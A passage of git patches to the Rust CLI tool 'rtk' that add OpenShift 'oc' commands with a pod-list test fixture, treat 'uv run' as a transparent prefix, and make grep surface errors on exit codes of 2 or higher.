fn run(cmd: ContainerCmd, args: &[String], verbose: u8) -> Result { ContainerCmd::DockerPsAll => docker_ps_all(verbose), ContainerCmd::DockerImages => docker_images(verbose), ContainerCmd::DockerLogs => docker_logs(args, verbose), - ContainerCmd::KubectlPods => kubectl_pods(args, verbose), - ContainerCmd::KubectlServices => kubectl_services(args, verbose), - ContainerCmd::KubectlLogs => kubectl_logs(args, verbose), + ContainerCmd::KubectlPods => k8s_pods("kubectl", args, verbose), + ContainerCmd::KubectlServices => k8s_services("kubectl", args, verbose), + ContainerCmd::KubectlLogs => k8s_logs("kubectl", args, verbose), } } -fn run_kubectl_json(cmd: Command, label: &str, filter_fn: F) -> Result +fn run_k8s_json(cmd: Command, tool: &str, label: &str, filter_fn: F) -> Result where F: Fn(&Value) -> String, { runner::run_filtered( cmd, - "kubectl", + tool, label, |stdout| match serde_json::from_str::(stdout) { Ok(json) => filter_fn(&json), Err(e) => { - eprintln!("[rtk] kubectl: JSON parse failed: {}", e); + eprintln!("[rtk] {}: JSON parse failed: {}", tool, e); stdout.to_string() } }, @@ -330,13 +330,13 @@ fn docker_logs(args: &[String], _verbose: u8) -> Result { ) } -fn kubectl_pods(args: &[String], _verbose: u8) -> Result { - let mut cmd = resolved_command("kubectl"); +pub fn k8s_pods(tool: &str, args: &[String], _verbose: u8) -> Result { + let mut cmd = resolved_command(tool); cmd.args(["get", "pods", "-o", "json"]); for arg in args { cmd.arg(arg); } - run_kubectl_json(cmd, "get pods", format_kubectl_pods) + run_k8s_json(cmd, tool, "get pods", format_kubectl_pods) } fn format_kubectl_pods(json: &Value) -> String { @@ -416,13 +416,13 @@ fn format_kubectl_pods(json: &Value) -> String { out } -fn kubectl_services(args: &[String], _verbose: u8) -> Result { - let mut cmd = resolved_command("kubectl"); +pub fn k8s_services(tool: &str, args: &[String], _verbose: u8) -> Result { + let mut cmd = resolved_command(tool); cmd.args(["get", "services", "-o", "json"]); for arg in args { cmd.arg(arg); } - run_kubectl_json(cmd, "get services", format_kubectl_services) + run_k8s_json(cmd, tool, "get services", format_kubectl_services) } fn format_kubectl_services(json: &Value) -> String { @@ -477,14 +477,14 @@ fn format_kubectl_services(json: &Value) -> String { out } -fn kubectl_logs(args: &[String], _verbose: u8) -> Result { +pub fn k8s_logs(tool: &str, args: &[String], _verbose: u8) -> Result { let pod = args.first().map(|s| s.as_str()).unwrap_or(""); if pod.is_empty() { - println!("Usage: rtk kubectl logs "); + println!("Usage: rtk {} logs ", tool); return Ok(0); } - let mut cmd = resolved_command("kubectl"); + let mut cmd = resolved_command(tool); cmd.args(["logs", "--tail", "100", pod]); for arg in args.iter().skip(1) { cmd.arg(arg); @@ -493,7 +493,7 @@ fn kubectl_logs(args: &[String], _verbose: u8) -> Result { let label = format!("logs {}", pod); runner::run_filtered( cmd, - "kubectl", + tool, &label, |stdout| { format!( @@ -751,17 +751,26 @@ pub fn run_compose_passthrough(args: &[OsString], verbose: u8) -> Result { } pub fn run_kubectl_get(args: &[String], verbose: u8) -> Result { - match kubectl_get_target(args) { - Some(("pods", rest)) => run(ContainerCmd::KubectlPods, rest, verbose), - Some(("services", rest)) => run(ContainerCmd::KubectlServices, rest, verbose), - _ => run_kubectl_get_passthrough(args, verbose), + run_k8s_get("kubectl", args, verbose) +} + +fn run_k8s_get(tool: &str, args: &[String], verbose: u8) -> Result { + match k8s_get_target(args) { + Some(("pods", rest)) => k8s_pods(tool, rest, verbose), + Some(("services", rest)) => k8s_services(tool, rest, verbose), + _ => { + let passthrough_args: Vec = std::iter::once(OsString::from("get")) + .chain(args.iter().map(|arg| OsString::from(arg.as_str()))) + .collect(); + crate::core::runner::run_passthrough(tool, &passthrough_args, verbose) + } } } -fn kubectl_get_target(args: &[String]) -> Option<(&'static str, &[String])> { +fn k8s_get_target(args: &[String]) -> Option<(&'static str, &[String])> { let resource = args.first()?.as_str(); let rest = &args[1..]; - if kubectl_get_requests_raw_output(rest) { + if k8s_get_requests_raw_output(rest) { return None; } @@ -772,7 +781,7 @@ fn kubectl_get_target(args: &[String]) -> Option<(&'static str, &[String])> { } } -fn kubectl_get_requests_raw_output(args: &[String]) -> bool { +fn k8s_get_requests_raw_output(args: &[String]) -> bool { args.iter().any(|arg| { matches!( arg.as_str(), @@ -782,17 +791,18 @@ fn kubectl_get_requests_raw_output(args: &[String]) -> bool { }) } -fn run_kubectl_get_passthrough(args: &[String], verbose: u8) -> Result { - let passthrough_args: Vec = std::iter::once(OsString::from("get")) - .chain(args.iter().map(|arg| OsString::from(arg.as_str()))) - .collect(); - run_kubectl_passthrough(&passthrough_args, verbose) -} - pub fn run_kubectl_passthrough(args: &[OsString], verbose: u8) -> Result { crate::core::runner::run_passthrough("kubectl", args, verbose) } +pub fn run_oc_get(args: &[String], verbose: u8) -> Result { + run_k8s_get("oc", args, verbose) +} + +pub fn run_oc_passthrough(args: &[OsString], verbose: u8) -> Result { + crate::core::runner::run_passthrough("oc", args, verbose) +} + #[cfg(test)] mod tests { use super::*; @@ -931,12 +941,12 @@ api-1 | Connected to database"; } #[test] - fn test_kubectl_get_target_pods_aliases() { + fn test_k8s_get_target_pods_aliases() { for resource in ["po", "pod", "pods"] { let args = vec![resource.to_string(), "-n".to_string(), "default".to_string()]; assert_eq!( - kubectl_get_target(&args), + k8s_get_target(&args), Some(("pods", &args[1..])), "failed for {resource}" ); @@ -944,12 +954,12 @@ api-1 | Connected to database"; } #[test] - fn test_kubectl_get_target_services_aliases() { + fn test_k8s_get_target_services_aliases() { for resource in ["svc", "service", "services"] { let args = vec![resource.to_string(), "-A".to_string()]; assert_eq!( - kubectl_get_target(&args), + k8s_get_target(&args), Some(("services", &args[1..])), "failed for {resource}" ); @@ -957,14 +967,14 @@ api-1 | Connected to database"; } #[test] - fn test_kubectl_get_target_unsupported_resource() { + fn test_k8s_get_target_unsupported_resource() { let args = vec!["deployments".to_string()]; - assert_eq!(kubectl_get_target(&args), None); + assert_eq!(k8s_get_target(&args), None); } #[test] - fn test_kubectl_get_target_respects_output_flags() { + fn test_k8s_get_target_respects_output_flags() { for output_flag in ["-o", "-owide", "--output", "--output=json"] { let args = vec![ "pods".to_string(), @@ -973,10 +983,27 @@ api-1 | Connected to database"; ]; assert_eq!( - kubectl_get_target(&args), + k8s_get_target(&args), None, "should pass through {output_flag}" ); } } + + // ── oc support ──────────────────────────────────────── + + #[test] + fn test_oc_pods_savings() { + let input_str = include_str!("../../../tests/fixtures/oc_pods.json"); + let input: Value = serde_json::from_str(input_str).expect("fixture should parse"); + let output = format_kubectl_pods(&input); + let input_tokens = input_str.split_whitespace().count(); + let output_tokens = output.split_whitespace().count(); + let savings = 100.0 - (output_tokens as f64 / input_tokens as f64 * 100.0); + assert!( + savings >= 60.0, + "Expected >=60% savings, got {:.1}%", + savings + ); + } } diff --git a/src/discover/rules.rs b/src/discover/rules.rs index 6bb5741c8e..78d5e00585 100644 --- a/src/discover/rules.rs +++ b/src/discover/rules.rs @@ -389,6 +389,15 @@ pub const RULES: &[RtkRule] = &[ subcmd_savings: &[], subcmd_status: &[], }, + RtkRule { + pattern: r"^oc\s+(get|logs|describe|apply|status|adm)", + rtk_cmd: "rtk oc", + rewrite_prefixes: &["oc"], + category: "Infra", + savings_pct: 85.0, + subcmd_savings: &[], + subcmd_status: &[], + }, RtkRule { pattern: r"^tree(\s|$)", rtk_cmd: "rtk tree", diff --git a/src/main.rs b/src/main.rs index 066ebecd33..114c78714e 100644 --- a/src/main.rs +++ b/src/main.rs @@ -293,6 +293,12 @@ enum Commands { command: KubectlCommands, }, + /// OpenShift CLI (oc) commands with compact output + Oc { + #[command(subcommand)] + command: OcCommands, + }, + /// Run command and show heuristic summary Summary { /// Command to run and summarize @@ -982,6 +988,41 @@ enum KubectlCommands { Other(Vec), } +#[derive(Debug, Subcommand)] +enum OcCommands { + /// Get OpenShift resources (compact for pods/services) + Get { + /// oc get arguments + #[arg(trailing_var_arg = true, allow_hyphen_values = true)] + args: Vec, + }, + /// List pods + Pods { + #[arg(short, long)] + namespace: Option, + /// All namespaces + #[arg(short = 'A', long)] + all: bool, + }, + /// List services + Services { + #[arg(short, long)] + namespace: Option, + /// All namespaces + #[arg(short = 'A', long)] + all: bool, + }, + /// Show pod logs (deduplicated) + Logs { + pod: String, + #[arg(short, long)] + container: Option, + }, + /// Passthrough: runs any unsupported oc subcommand directly + #[command(external_subcommand)] + Other(Vec), +} + #[derive(Debug, Subcommand)] enum PrismaCommands { /// Generate Prisma Client (strip ASCII art) @@ -1314,6 +1355,26 @@ fn shell_split(input: &str) -> Vec { discover::lexer::shell_split(input) } +fn build_k8s_namespace_args(namespace: Option, all: bool) -> Vec { + let mut args = Vec::new(); + if all { + args.push("-A".to_string()); + } else if let Some(n) = namespace { + args.push("-n".to_string()); + args.push(n); + } + args +} + +fn build_k8s_logs_args(pod: String, container: Option) -> Vec { + let mut args = vec![pod]; + if let Some(cont) = container { + args.push("-c".to_string()); + args.push(cont); + } + args +} + /// Merge pnpm global filters args with other ones for standard String-based commands fn merge_pnpm_args(filters: &[String], args: &[String]) -> Vec { filters @@ -1756,36 +1817,37 @@ fn run_cli() -> Result { Commands::Kubectl { command } => match command { KubectlCommands::Get { args } => container::run_kubectl_get(&args, cli.verbose)?, KubectlCommands::Pods { namespace, all } => { - let mut args: Vec = Vec::new(); - if all { - args.push("-A".to_string()); - } else if let Some(n) = namespace { - args.push("-n".to_string()); - args.push(n); - } + let args = build_k8s_namespace_args(namespace, all); container::run(container::ContainerCmd::KubectlPods, &args, cli.verbose)? } KubectlCommands::Services { namespace, all } => { - let mut args: Vec = Vec::new(); - if all { - args.push("-A".to_string()); - } else if let Some(n) = namespace { - args.push("-n".to_string()); - args.push(n); - } + let args = build_k8s_namespace_args(namespace, all); container::run(container::ContainerCmd::KubectlServices, &args, cli.verbose)? } KubectlCommands::Logs { pod, container: c } => { - let mut args = vec![pod]; - if let Some(cont) = c { - args.push("-c".to_string()); - args.push(cont); - } + let args = build_k8s_logs_args(pod, c); container::run(container::ContainerCmd::KubectlLogs, &args, cli.verbose)? } KubectlCommands::Other(args) => container::run_kubectl_passthrough(&args, cli.verbose)?, }, + Commands::Oc { command } => match command { + OcCommands::Get { args } => container::run_oc_get(&args, cli.verbose)?, + OcCommands::Pods { namespace, all } => { + let args = build_k8s_namespace_args(namespace, all); + container::k8s_pods("oc", &args, cli.verbose)? + } + OcCommands::Services { namespace, all } => { + let args = build_k8s_namespace_args(namespace, all); + container::k8s_services("oc", &args, cli.verbose)? + } + OcCommands::Logs { pod, container: c } => { + let args = build_k8s_logs_args(pod, c); + container::k8s_logs("oc", &args, cli.verbose)? + } + OcCommands::Other(args) => container::run_oc_passthrough(&args, cli.verbose)?, + }, + Commands::Summary { command } => { let cmd = command.join(" "); summary::run(&cmd, cli.verbose)? @@ -2504,6 +2566,7 @@ fn is_operational_command(cmd: &Commands) -> bool { | Commands::Dotnet { .. } | Commands::Docker { .. } | Commands::Kubectl { .. } + | Commands::Oc { .. } | Commands::Summary { .. } | Commands::Grep { .. } | Commands::Wget { .. } @@ -2692,6 +2755,30 @@ mod tests { } } + #[test] + fn test_try_parse_oc_get() { + let cli = Cli::try_parse_from(["rtk", "oc", "get", "pods", "-n", "default"]).unwrap(); + + match cli.command { + Commands::Oc { + command: OcCommands::Get { args }, + } => assert_eq!(args, vec!["pods", "-n", "default"]), + _ => panic!("Expected Oc Get command"), + } + } + + #[test] + fn test_try_parse_oc_other() { + let cli = Cli::try_parse_from(["rtk", "oc", "new-project", "test"]).unwrap(); + + match cli.command { + Commands::Oc { + command: OcCommands::Other(_), + } => {} + _ => panic!("Expected Oc Other command"), + } + } + #[test] fn test_try_parse_init_agent_hermes_uninstall() { let cli = Cli::try_parse_from(["rtk", "init", "--agent", "hermes", "--uninstall"]).unwrap(); diff --git a/tests/fixtures/oc_pods.json b/tests/fixtures/oc_pods.json new file mode 100644 index 0000000000..01b008d8c3 --- /dev/null +++ b/tests/fixtures/oc_pods.json @@ -0,0 +1,450 @@ +{ + "apiVersion": "v1", + "kind": "List", + "metadata": { + "resourceVersion": "" + }, + "items": [ + { + "metadata": { + "name": "alertmanager-main-0", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "alertmanager", + "restartCount": 0 + }, + { + "name": "config-reloader", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-metric", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-web", + "restartCount": 0 + }, + { + "name": "prom-label-proxy", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "alertmanager-main-1", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "alertmanager", + "restartCount": 0 + }, + { + "name": "config-reloader", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-metric", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-web", + "restartCount": 0 + }, + { + "name": "prom-label-proxy", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "cluster-monitoring-operator-7fb9fd4c5d-wm2k6", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "cluster-monitoring-operator", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "kube-state-metrics-75586fdddb-5zw6b", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy-main", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-self", + "restartCount": 0 + }, + { + "name": "kube-state-metrics", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "metrics-server-fdfb77995-jmqnm", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "metrics-server", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "metrics-server-fdfb77995-w4r8p", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "metrics-server", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "monitoring-plugin-85b45d978c-27rfm", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "monitoring-plugin", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "monitoring-plugin-85b45d978c-64g98", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "monitoring-plugin", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "node-exporter-5fw9f", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "node-exporter", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "node-exporter-gbnrd", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "node-exporter", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "openshift-state-metrics-856bc7fff5-p8s92", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy-main", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-self", + "restartCount": 0 + }, + { + "name": "openshift-state-metrics", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "prometheus-k8s-0", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "config-reloader", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-thanos", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-web", + "restartCount": 0 + }, + { + "name": "prometheus", + "restartCount": 0 + }, + { + "name": "thanos-sidecar", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "prometheus-k8s-1", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "config-reloader", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-thanos", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-web", + "restartCount": 0 + }, + { + "name": "prometheus", + "restartCount": 0 + }, + { + "name": "thanos-sidecar", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "prometheus-operator-5978c4f47f-9zwdq", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "prometheus-operator", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "prometheus-operator-admission-webhook-6485c485f4-8cfhf", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "prometheus-operator-admission-webhook", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "prometheus-operator-admission-webhook-6485c485f4-b655d", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "prometheus-operator-admission-webhook", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "telemeter-client-5d75f79f95-hr22b", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "reload", + "restartCount": 0 + }, + { + "name": "telemeter-client", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "thanos-querier-5fcf655bd-4h2m2", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-metrics", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-rules", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-web", + "restartCount": 0 + }, + { + "name": "prom-label-proxy", + "restartCount": 0 + }, + { + "name": "thanos-query", + "restartCount": 0 + } + ] + } + }, + { + "metadata": { + "name": "thanos-querier-5fcf655bd-wd28r", + "namespace": "openshift-monitoring" + }, + "status": { + "phase": "Running", + "containerStatuses": [ + { + "name": "kube-rbac-proxy", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-metrics", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-rules", + "restartCount": 0 + }, + { + "name": "kube-rbac-proxy-web", + "restartCount": 0 + }, + { + "name": "prom-label-proxy", + "restartCount": 0 + }, + { + "name": "thanos-query", + "restartCount": 0 + } + ] + } + } + ] +} From 34441dd4648d5f73bf40988de0c9f2c839b3e988 Mon Sep 17 00:00:00 2001 From: Jonathan Ellis Date: Thu, 18 Jun 2026 03:43:41 -0500 Subject: [PATCH 220/257] fix(hook): treat uv run as a transparent prefix --- src/discover/registry.rs | 68 ++++++++++++++++++++++++++++++++++++---- 1 file changed, 62 insertions(+), 6 deletions(-) diff --git a/src/discover/registry.rs b/src/discover/registry.rs index 59651a497c..fc18b6be07 100644 --- a/src/discover/registry.rs +++ b/src/discover/registry.rs @@ -471,8 +471,9 @@ fn collapse_line_continuations(s: &str) -> std::borrow::Cow<'_, str> { /// being run, only *how* it's run — e.g. `docker exec mycontainer`, /// `direnv exec .`, `poetry run`, or `bundle exec`. Stripping it lets the inner /// command match a filter; the prefix is then re-prepended to the rewrite. The -/// built-in [`SHELL_PREFIX_BUILTINS`] (`noglob`, `command`, `builtin`, `exec`, -/// `nocorrect`) are always applied in addition to user-configured prefixes. +/// built-in [`BUILTIN_TRANSPARENT_PREFIXES`] (`uv run`, `noglob`, `command`, +/// `builtin`, `exec`, `nocorrect`) are always applied in addition to +/// user-configured prefixes. /// /// Matching is strict: a configured prefix `"foo bar"` matches a command that /// starts with `"foo bar "` (or strictly equals `"foo bar"`), not anything @@ -650,9 +651,16 @@ fn rewrite_line_range(cmd: &str) -> Option { None } -/// Shell prefix builtins that modify how the shell runs a command -/// but don't change which command runs. Strip before routing, re-prepend after. -const SHELL_PREFIX_BUILTINS: &[&str] = &["noglob", "command", "builtin", "exec", "nocorrect"]; +/// Built-in transparent wrappers that use the same strip/recurse/re-prepend +/// contract as user-configured `transparent_prefixes`. +const BUILTIN_TRANSPARENT_PREFIXES: &[&str] = &[ + "uv run", + "noglob", + "command", + "builtin", + "exec", + "nocorrect", +]; const MAX_PREFIX_DEPTH: usize = 10; @@ -752,7 +760,7 @@ fn rewrite_segment_inner( return Some(format!("{}{}", env_prefix, rewritten)); } - for &prefix in SHELL_PREFIX_BUILTINS { + for &prefix in BUILTIN_TRANSPARENT_PREFIXES { if let Some(rest) = strip_word_prefix(trimmed, prefix) { if rest.is_empty() { return None; @@ -2326,6 +2334,54 @@ mod tests { ); } + #[test] + fn test_rewrite_uv_run_pytest() { + assert_eq!( + rewrite_command_no_prefixes("uv run pytest tests/", &[]), + Some("uv run rtk pytest tests/".into()) + ); + } + + #[test] + fn test_rewrite_env_uv_run_pytest() { + assert_eq!( + rewrite_command_no_prefixes("PYTHONPATH=. uv run pytest tests/", &[]), + Some("PYTHONPATH=. uv run rtk pytest tests/".into()) + ); + } + + #[test] + fn test_rewrite_uv_run_python_m_pytest() { + assert_eq!( + rewrite_command_no_prefixes("uv run python -m pytest -q", &[]), + Some("uv run rtk pytest -q".into()) + ); + } + + #[test] + fn test_rewrite_uv_run_supported_inner_command() { + assert_eq!( + rewrite_command_no_prefixes("uv run ruff check .", &[]), + Some("uv run rtk ruff check .".into()) + ); + } + + #[test] + fn test_rewrite_uv_run_options_are_not_parsed() { + assert_eq!( + rewrite_command_no_prefixes("uv run --unknown pytest tests/", &[]), + None + ); + assert_eq!( + rewrite_command_no_prefixes("uv run -m pytest -q", &[]), + None + ); + assert_eq!( + rewrite_command_no_prefixes("uv run --module pytest -q", &[]), + None + ); + } + #[test] fn test_rewrite_pip_list() { assert_eq!( From d727db3fa1f5b90d94cd8e1b893b6b10418b42bd Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Tue, 16 Jun 2026 17:10:14 +0000 Subject: [PATCH 221/257] fix(grep): surface error on exit code >= 2 instead of false "0 matches" Exit codes >= 2 signal real errors in grep/rg (bad regex, tool crash, missing binary). rtk was only checking the narrow case exit_code == 2 with non-empty stderr, letting any other error exit masquerade as a clean "0 matches" false negative. Now any exit code >= 2 surfaces the error to stderr instead of printing a false zero-match result. Fixes #2461 Co-Authored-By: Claude Opus 4.8 --- src/cmds/system/grep_cmd.rs | 20 +++++++++-- tests/grep_error_test.rs | 68 +++++++++++++++++++++++++++++++++++++ 2 files changed, 85 insertions(+), 3 deletions(-) create mode 100644 tests/grep_error_test.rs diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 072ebc28d7..a61a5fc5ff 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -386,9 +386,23 @@ pub fn run( let raw_output = result.stdout.clone(); if result.stdout.trim().is_empty() { - // Show stderr for errors (bad regex, missing file, etc.) - if exit_code == 2 && !result.stderr.trim().is_empty() { - eprintln!("{}", result.stderr.trim()); + // grep/rg convention: exit 1 = no match found (normal). + // exit >= 2 = real error (bad regex, tool crash, etc.) — surface it, + // never print "0 matches" for an error. + const GREP_ERROR_EXIT: i32 = 2; + if exit_code >= GREP_ERROR_EXIT { + if !result.stderr.trim().is_empty() { + eprintln!("{}", result.stderr.trim()); + } + let msg = format!("grep failed with exit code {}", exit_code); + timer.track( + &format!("grep -rn '{}' {}", pattern_display, path_display), + "rtk grep", + &raw_output, + &msg, + ); + eprintln!("{}", msg); + return Ok(exit_code); } let msg = format!("0 matches for '{}'", pattern_display); println!("{}", msg); diff --git a/tests/grep_error_test.rs b/tests/grep_error_test.rs new file mode 100644 index 0000000000..5e0020a98b --- /dev/null +++ b/tests/grep_error_test.rs @@ -0,0 +1,68 @@ +//! Integration test: rtk grep must NOT claim "0 matches" on error exit codes. +//! +//! grep/rg convention: exit 1 = no match (normal), exit >= 2 = real error. +//! rtk must surface the error instead of printing a false-negative "0 matches". + +use std::os::unix::fs::PermissionsExt; +use std::process::Command; + +#[test] +fn grep_error_exit_code_no_false_negative() { + let dir = std::env::temp_dir().join(format!("rtk-test-grep-{}", std::process::id())); + std::fs::create_dir_all(&dir).expect("create temp dir"); + + // Test file with known content so "0 matches" is provably wrong + let test_file = dir.join("test.txt"); + std::fs::write(&test_file, "hello world\n").expect("write test file"); + + // Fake rg that exits with code 2 (error), empty output — simulates + // a broken/missing rg binary or a ripgrep panic. + let fake_rg = dir.join("rg"); + std::fs::write(&fake_rg, "#!/bin/sh\nexit 2\n").expect("write fake rg"); + std::fs::set_permissions(&fake_rg, std::fs::Permissions::from_mode(0o755)) + .expect("chmod fake rg"); + + // Reference the rtk binary built by cargo for integration tests + let rtk = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join(if cfg!(debug_assertions) { + "target/debug/rtk" + } else { + "target/release/rtk" + }); + + let path_env = format!( + "{}:{}", + dir.display(), + std::env::var("PATH").unwrap_or_default() + ); + + let output = Command::new(&rtk) + .args(["grep", "hello"]) + .arg(test_file.to_str().unwrap()) + .env("PATH", &path_env) + .env("RTK_HOOK_OFF", "1") // no hook inference + .output() + .expect("run rtk"); + + let stdout = String::from_utf8_lossy(&output.stdout); + let stderr = String::from_utf8_lossy(&output.stderr); + + assert!( + !stdout.contains("0 matches"), + "ERROR exit MUST NOT claim '0 matches' (false negative).\nstdout: {}\nstderr: {}", + stdout, + stderr, + ); + + // Error exit code should be non-zero (propagated from rg's exit 2) + assert_ne!( + output.status.code().unwrap_or(0), + 0, + "rtk should exit non-zero on grep error.\nstdout: {}\nstderr: {}", + stdout, + stderr, + ); + + // Cleanup + let _ = std::fs::remove_dir_all(&dir); +} From 99969e02e2d2dd5188e1bd4eab5af565e1cace74 Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Wed, 17 Jun 2026 22:26:11 +0000 Subject: [PATCH 222/257] test(grep): gate grep_error_test with #![cfg(unix)] for Windows CI The test simulates a broken `rg` via a chmod'd shell script (from_mode, PermissionsExt) which is unix-only. The unconditional `use std::os::unix` broke compilation of the integration-test crate on the Windows CI target. Gate the whole file so Windows stays green while preserving unix coverage. Co-Authored-By: Claude Opus 4.8 (1M context) --- tests/grep_error_test.rs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/grep_error_test.rs b/tests/grep_error_test.rs index 5e0020a98b..a67871970d 100644 --- a/tests/grep_error_test.rs +++ b/tests/grep_error_test.rs @@ -2,6 +2,10 @@ //! //! grep/rg convention: exit 1 = no match (normal), exit >= 2 = real error. //! rtk must surface the error instead of printing a false-negative "0 matches". +//! +//! Unix-only: simulates a broken `rg` via a chmod'd shell script. The whole +//! file is gated so the integration-test crate still compiles on Windows CI. +#![cfg(unix)] use std::os::unix::fs::PermissionsExt; use std::process::Command; From fa7e5102a3b8214ff1af3c61ca53aff89b9f3dac Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Wed, 17 Jun 2026 22:29:35 +0000 Subject: [PATCH 223/257] style(test): cargo fmt grep_error_test.rs Wrap the rtk binary path expression per rustfmt to satisfy `cargo fmt --all -- --check` on CI. Co-Authored-By: Claude Opus 4.8 (1M context) --- tests/grep_error_test.rs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/grep_error_test.rs b/tests/grep_error_test.rs index a67871970d..015735e37d 100644 --- a/tests/grep_error_test.rs +++ b/tests/grep_error_test.rs @@ -27,8 +27,8 @@ fn grep_error_exit_code_no_false_negative() { .expect("chmod fake rg"); // Reference the rtk binary built by cargo for integration tests - let rtk = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) - .join(if cfg!(debug_assertions) { + let rtk = + std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")).join(if cfg!(debug_assertions) { "target/debug/rtk" } else { "target/release/rtk" From 3572d11e267ba0f9d164c9c59b8b074131b9915a Mon Sep 17 00:00:00 2001 From: Ousama Ben Younes Date: Thu, 18 Jun 2026 09:37:00 +0000 Subject: [PATCH 224/257] refactor(grep): extract error-exit decision into pure unit-tested fn Address KuSh review on #2465: - Move the `exit_code >= 2` decision into a pure `is_grep_error_exit` function and unit-test it directly (0/1 = normal, >=2 = error), instead of faking the rg binary in an integration test. - Drop the GREP_ERROR_EXIT const; the doc comment on the function conveys the grep/rg exit convention. - Remove tests/grep_error_test.rs (faked binary) in favour of the unit test. Co-Authored-By: Claude Opus 4.8 (1M context) --- src/cmds/system/grep_cmd.rs | 25 ++++++++++--- tests/grep_error_test.rs | 72 ------------------------------------- 2 files changed, 20 insertions(+), 77 deletions(-) delete mode 100644 tests/grep_error_test.rs diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index a61a5fc5ff..b3954526a1 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -386,11 +386,7 @@ pub fn run( let raw_output = result.stdout.clone(); if result.stdout.trim().is_empty() { - // grep/rg convention: exit 1 = no match found (normal). - // exit >= 2 = real error (bad regex, tool crash, etc.) — surface it, - // never print "0 matches" for an error. - const GREP_ERROR_EXIT: i32 = 2; - if exit_code >= GREP_ERROR_EXIT { + if is_grep_error_exit(exit_code) { if !result.stderr.trim().is_empty() { eprintln!("{}", result.stderr.trim()); } @@ -587,10 +583,29 @@ fn compact_path(path: &str) -> String { ) } +/// grep/rg convention: exit 1 = no match found (normal), exit >= 2 = real +/// error (bad regex, tool crash, missing 